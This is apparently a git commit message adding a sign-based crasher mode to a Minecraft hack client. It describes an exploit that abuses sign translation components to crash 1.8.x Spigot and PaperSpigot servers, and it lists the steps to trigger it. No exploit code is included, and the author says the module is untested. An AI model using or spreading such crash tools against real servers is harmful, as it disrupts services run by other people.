Translation sign crasher (CCBlueX#2598)

This crasher can crash Minecraft 1.8.x servers (like Spigot or PaperSpigot) using the translation component in signs. Although I haven't personally tested this module in LiquidBounce, I'm sure it functions since it's the same in my own client. The exploit was originally found by @Outfluencer and then found by others including me and now has been leaked. Steps to use: - Toggle the ServerCrasher module with the right mode - Place a sign - Press done - Should've crashed. --------- Co-authored-by: 1zuna <[email protected]>
